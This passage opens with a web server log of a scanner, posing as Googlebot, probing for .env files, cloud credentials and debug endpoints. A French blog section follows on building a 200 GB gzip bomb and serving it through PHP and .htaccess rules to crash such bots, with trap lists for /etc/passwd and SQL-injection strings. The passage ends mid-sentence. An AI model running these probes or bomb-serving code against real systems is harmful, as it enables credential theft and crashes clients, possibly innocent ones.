35.205.23.175 - - [15/Aug/2026:02:09:21 +0200] "GET /config/database.yml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:21 +0200] "GET /web.config HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:21 +0200] "GET /appsettings.Production.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:21 +0200] "GET /config/storage.yml HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:21 +0200] "GET /config/master.key HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:21 +0200] "GET /.pypirc HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:21 +0200] "GET /backend/settings.py HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:21 +0200] "GET /app/settings.py HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:21 +0200] "GET /.streamlit/secrets.toml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:21 +0200] "GET /config.py HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:21 +0200] "GET /config/settings.py HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:21 +0200] "GET /core/settings.py HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /config.env HTTP/2.0" 200 5242 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /sendgrid.env HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /.env.test HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /instance/config.py HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /.env.staging HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /.env.development HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /src/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /frontend/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /dev/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /app/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /production/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /server/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /staging/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /@fs/.env?raw?? HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /.env.docker HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /.env.production.bak HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:22 +0200] "GET /.env.prod.bak HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /docker/.env HTTP/2.0" 200 4614 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /google-credentials.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /sa.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /gcp-credentials.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /@fs/root/.env?raw?? HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /@fs/proc/self/environ?import&raw?? HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /firebase-admin.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /keys/service-account.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /gcp-key.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /firebase-credentials.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /config/firebase-admin.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /public/admin.json HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /google-service-account.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /firebase.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /config/gcp-credentials.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /gcp-service.json HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /push_config.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /gc-service.json HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /google-services.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /config.yaml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /debug/pprof/cmdline HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /metrics HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /debug/pprof/ HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:23 +0200] "GET /debug/vars HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /info HTTP/2.0" 200 5242 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /config.toml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /_health HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /dashboard HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /config/runtime.exs HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /config/prod.exs HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /__/firebase/init.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /config.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /aws-exports.js HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /aws-config.js HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /values.yaml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /amplifyconfiguration.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /api/config HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /api/settings HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /config.js HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /api/v1/settings HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:24 +0200] "GET /env.js HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /api/v2/config HTTP/2.0" 200 5242 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /.well-known/jwks.json HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /firebase-config.json HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /env.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /settings.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /api/env HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /runtime-config.js HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /api/v1/config HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /manifest.webmanifest HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /api/v2/settings HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /app-config.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /health HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /api/openapi.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /api/account HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /api/health HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /openapi.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /__env.js HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /swagger.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /runtime.js HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /configuration.js HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /api/v1/env HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:25 +0200] "GET /sw.js HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:26 +0200] "GET /v1/graphql HTTP/2.0" 200 5242 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:26 +0200] "GET /graphql/console HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:26 +0200] "GET /service-worker.js HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:26 +0200] "GET /graphql HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:26 +0200] "GET /api/graphql HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:26 +0200] "GET /ngsw.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:26 +0200] "GET /info.php HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:26 +0200] "GET /actuator/mappings HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:26 +0200] "GET /actuator HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:26 +0200] "GET /pi.php HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:26 +0200] "GET /phpinfo.php HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:26 +0200] "GET /actuator/configprops HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /app_dev.php HTTP/2.0" 200 5242 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /_profiler/open HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /i.php HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /test.php HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /_profiler/latest HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /app_dev.php/_profiler HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /elmah.axd HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /telescope/requests HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /_debugbar/open HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /__debug__/ HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /_ignition/health-check HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /trace.axd HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /server-status HTTP/2.0" 403 473 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /server-info HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:27 +0200] "GET /nginx_status HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
Il faut être conscient qu'à l'inverse de ma solution anti-bots, une zip-bomb va potentiellement augmenter le trafic sur votre site web. Et si vous l'avez mal configurée, vous risquez de planter des internautes innocents.

Créer la zip-bomb

Il existe différentes manière de créer une zip-bomb. On va aller au plus court: Créer un fichier de 200 Go rempli de zéros. Compressé en gzip, cela ne fait plus que 200 Mo. 

dd if=/dev/zero bs=1M count=200000 | pv | gzip -9 > gzip-bomb-200G.gz

J'ai copié ce fichier sur mon serveur dans /custompages/gz

Maintenant il s'agit de le servir le plus efficacement possible au client.

Servir la zip-bomb

Quand on programme un client http(s), on fait généralement:

  • envoi de la requête.
  • lecture du status de la réponse (404 non trouvé, 200 ok, etc.)
  • lecture du contenu la réponse (avec ses entêtes et son type: text/html, image/png, etc.)
  • parsing du contenu de la réponse.

On va essayer de jouer là dessus.

Nous allons utiliser un petit bout de php pour servir ce fichier au client. Il se trouve que http(s) supporte nativement la compression gzip. On peut donc répondre au client Content-Encoding: gzip et lui envoyer directement le fichier gzip. Tous les clients http(s) accepteront les données gzip (200 Mo) et les décompresseront de leur côté (➡️200 Go).

Voici le fichier index.php que je met dans /custompages/gz:

index.php
<?php
 
// On log dans un fichier pour garder une trace de qui s'est pris la zip-bomb
$sourcePath = $_SERVER['REQUEST_URI'] ?? '';
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$sourceUrl = $scheme . '://' . $host . $sourcePath;
$ip = $_SERVER['REMOTE_ADDR'] ?? '';
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$line = date('c') . " ip=" . $ip . " src=" . $sourceUrl  . " ua=" . $userAgent . "\n";
file_put_contents('zipbomb.log', $line, FILE_APPEND | LOCK_EX);
 
// On spécifie au client que la réponse http est compressée gzip
header("Content-Encoding: gzip");
 
// On dit au client que c'est du html afin qu'il essaie de le parser
header("Content-Type: text/html");
 
// On envoie surtout pas Content-Length.
// De cette manière le client va probablement lire jusqu'à ce qu'il n'y ait plus de données.
 
// On coupe le buffering de réponse pour ne pas augmenter la consommation mémoire du serveur web.
if (ob_get_level()) ob_end_clean();
ob_implicit_flush(true);
 
// On envoie directement le fichier gzip au client
// (On utilise pas file_get_content() car ce dernier charge tout en mémoire)
readfile('gzip-bomb-200G.gz');
 
?>

Quand on développe un client http(s), en principe les bonnes pratique font qu'on lit au maximum X octets de la réponse. (Par exemple, on va lire maximum 2 Mo d'une réponse html d'un serveur). Mais par paresse beaucoup de développeur font juste un read() sur la connexion http, ramenant la totalité de la réponse (nos 200 Mo).

Comme les "pirates" essaient généralement d'extraire du contenu, en leur répondant "c'est du html" (Content-Type: text/html) ils vont probablement donner les données à manger à un parseur html. Et probablement entièrement en mémoire.

Essayez de donner 200 Go de données à un parseur html, vous allez voir le résultat. Même les navigateurs programmés pour se bouffer les html les plus dégueulasses et conçus pour planter le moins possible se prennent un mur.

Choisir les URLs piège

Maitenant comment déclencher cette zip-bomb ?

Je vais ici donner un exemple de config Apache pour le déclencher sélectivement sur certaines pages, fichiers ou requêtes. Libre à vous d'adapter ces exemples dans votre fichier .htaccess: 

RewriteEngine On
RewriteBase /

# Répertoires piégés:
RewriteCond "%{REQUEST_URI}" "^/admin/.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/administrator/.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/phpmyadmin/.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/config/.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/uploads/.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/public/.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/wp-json/.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/vendor/.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/debug/.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/config/.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/wp-admin/.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/wp-site/.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/.ssh/.*" [NC,OR]
# Fichiers piégés:
RewriteCond "%{REQUEST_URI}" "^/\.env.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/etc/passwd.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/configs?\.php.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/wp-login\.php.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/admin\.php.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/login\.php.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/phpinfo\.php.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/install\.php.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/wp-content/plugins/.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/(php)?myadmin.*" [NC,OR]
RewriteCond "%{REQUEST_URI}" "^/web\.config.*" [NC,OR]
# Requêtes piégés (par exemple tentative d'injection SQL)
RewriteCond "%{QUERY_STRING}" ".*UNION\+ALL.*" [NC,OR]
RewriteCond "%{QUERY_STRING}" ".*ORDER\+BY.*" [NC,OR]
RewriteCond "%{QUERY_STRING}" ".*OR\+1\+\%3D\+SLEEP.*" [NC,OR]
RewriteCond "%{QUERY_STRING}" ".*AND\+1%3D1.*" [NC,OR]
RewriteCond "%{QUERY_STRING}" ".*SELECT.*FROM.*INFORMATION_SCHEMA.*" [NC,OR]
RewriteCond "%{QUERY_STRING}" "q=.*<script.*"
RewriteCond %{REQUEST_URI} !^/custompages/.*
RewriteRule .* /custompages/gz/ [L,E=antibot:true]

Libre à vous de compléter !

Est-ce que ça marche ?

Essayez d'ouvrir une de ces pages avec votre navigateur et regardez la consommation mémoire. 😅
(De manière assez amusante, Firefox semble mieux s'en sortir que des navigateurs basés sur Chromium comme Vivaldi.)

Bien sûr, vous n'avez pas de garantie du résultat de l'autre côté.

Mais quand je vois cette ligne dans mes logs Apache: 

